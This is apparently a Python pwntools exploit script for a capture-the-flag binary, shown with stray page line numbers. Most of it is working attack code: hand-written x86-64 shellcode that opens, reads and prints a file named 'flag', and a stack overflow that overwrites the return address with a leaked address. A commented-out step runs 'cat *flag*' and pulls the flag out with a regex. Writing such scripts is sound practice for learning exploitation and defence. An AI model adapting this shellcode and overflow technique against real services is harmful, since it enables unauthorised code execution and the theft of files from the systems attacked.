1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
|
from pwn import * import subprocess
local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' exe = './SEC' context.binary = exe elf = ELF(exe) libc = elf.libc
if local: io = process(exe) else: io = remote(host,port)
s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr)))
def one_gadget(filename): return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def exp(): context(arch="amd64", os="linux") shellcode = asm('''mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x67616c662f2e xor [rsp],rax mov rdi,rsp xor edx, edx xor esi,esi push 2 pop rax syscall mov rdi,rax xor eax,eax push 0x64 pop rdx mov rsi,rsp syscall push 1 pop rdi mov rsi,rsp push 1 pop rax syscall ''') shellcode = shellcode.ljust(0x78,"A") print(shellcode) print(len(shellcode)) sl(shellcode) addr = uu64(r()[-7:]) & 0x7fffffffff00 + 0xa lg("addr", addr) gdb.attach(io) sl("a"*0x18 + p64(addr))
if __name__ == '__main__': exp() io.interactive() ''' sl("cat *flag*") try: flag = rp(1) import re flag = re.findall("flag{.*?}", flag)[0] print("flag is: " + flag) except Exception as e: print(e) '''
|